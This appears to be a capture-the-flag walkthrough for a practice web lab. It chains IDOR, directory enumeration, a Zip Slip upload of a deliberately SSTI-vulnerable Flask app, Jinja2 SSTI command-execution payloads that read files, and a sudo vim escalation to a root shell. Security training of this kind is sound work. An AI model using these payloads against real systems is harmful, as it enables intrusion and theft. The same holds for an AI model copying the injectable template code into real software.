A sophisticated web application environment hosts multiple interconnected services with layered security mechanisms. Each security control presents a unique challenge, but when properly chained together, even the most robust defenses can be systematically compromised. 🎯 Time to demonstrate advanced web application penetration testing skills!
Launch your dedicated machine to begin hacking
This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.
Begin with port scanning to identify running services:
# Port scan reveals SSH and web application
nmap -Pn -sC -sV -p- <target-ip>
# Expected services:
# 22/tcp - SSH
# 8080/tcp - Blog Web ApplicationPort 8080 hosts the main web service running a blog application.
Explore the blog website and exploit IDOR vulnerability:
# Visit the blog application and register
curl http://<target-ip>:8080
# Register a new account
curl -X POST http://<target-ip>:8080/register -d "username=testuser&password=testpass"
# Notice blog IDs start from 2, test for IDOR
curl http://<target-ip>:8080/blog/1
curl http://<target-ip>:8080/blog/2
# Access restricted blog post with ID 1 reveals developer credentialsIDOR vulnerability allows access to restricted blog posts containing sensitive developer credentials.
Use discovered credentials and perform directory enumeration:
# Login with discovered credentials
curl -X POST http://<target-ip>:8080/login -d "username=developer&password=found_password"
# New upload feature appears after login
# Directory enumeration to find hidden endpoints
gobuster dir -u http://<target-ip>:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Discover /administrators endpointAfter login, an upload feature appears. Gobuster reveals the hidden /administrators directory with additional upload functionality.
Exploit Zip Slip vulnerability to replace the main application file:
# Create malicious Flask app with SSTI vulnerability
cat > app.py << 'EOF'
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
user_input = request.args.get("name", "Guest")
return render_template_string(f"<h1>Welcome {user_input}</h1>")
if __name__ == "__main__":
app.run(debug=True)
EOF
# Create zip file and upload to replace original app.py
zip malicious.zip app.py
curl -X POST -F "file=@malicious.zip" http://<target-ip>:8080/administrators/uploadZip Slip vulnerability allows overwriting the original app.py with a malicious version containing SSTI.
Exploit SSTI vulnerability for remote command execution:
# Test SSTI payload for command execution
curl "http://<target-ip>:8080/?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}"
# Execute commands to explore the system
curl "http://<target-ip>:8080/?name={{config.__class__.__init__.__globals__['os'].popen('ls /home').read()}}"
# Read user flag and note
curl "http://<target-ip>:8080/?name={{config.__class__.__init__.__globals__['os'].popen('cat /home/ctf/flag-user.txt').read()}}"
curl "http://<target-ip>:8080/?name={{config.__class__.__init__.__globals__['os'].popen('cat /home/ctf/note.txt').read()}}"SSTI provides remote command execution. The user flag is located in /home/ctf/flag-user.txt and credentials are found in note.txt.
Use discovered credentials for SSH access and internal reconnaissance:
# SSH login as ctf user
ssh ctf@<target-ip>
# Password from note.txt (also contains backup code)
# Discover internal services
netstat -a
# Reveals uncommon port 45678 running internallySSH access as ctf user reveals an internal service running on port 45678.
Enumerate the internal backup service on port 45678:
# Access internal service locally
curl http://<target-ip>:45678
# Directory enumeration on internal service
gobuster dir -u http://<target-ip>:45678 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# Discover 2 useful endpoints: /backup and /controlpanelInternal service provides a backup system with 2 useful endpoints. The /backup endpoint is code protected.
Use backup code from note.txt to access backup functionality:
# Access backup service with backup code from note.txt
curl -X POST http://<target-ip>:45678/backup -d "code=backup_code_from_note&path=/home/manager"
# Use control panel to view backed up files
curl http://<target-ip>:45678/controlpanel
# Navigate through backup files to find credentials
# Discover manager account credentials in backup.txtThe backup service requires a backup code and allows accessing manager's files, revealing additional credentials in backup.txt.
Use discovered manager credentials for lateral movement:
# Switch to manager user
su manager
# Password found in backup.txt
# Check sudo privileges
sudo -l
# Reveals: (ALL) NOPASSWD: /usr/bin/vimThe credentials belong to the manager account, which has sudo privileges to run vim without password.
Exploit sudo vim privileges to gain root access:
# Exploit vim sudo privileges for root shell
sudo vim -c ':!/bin/sh'
# Alternative method
sudo vim
# Then in vim: :!/bin/sh
# Retrieve root flag
cat /root/flag-root.txtVim with sudo privileges provides direct path to root shell execution. Root flag is located in /root/flag-root.txt.
The complete attack chain involves:
Choose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email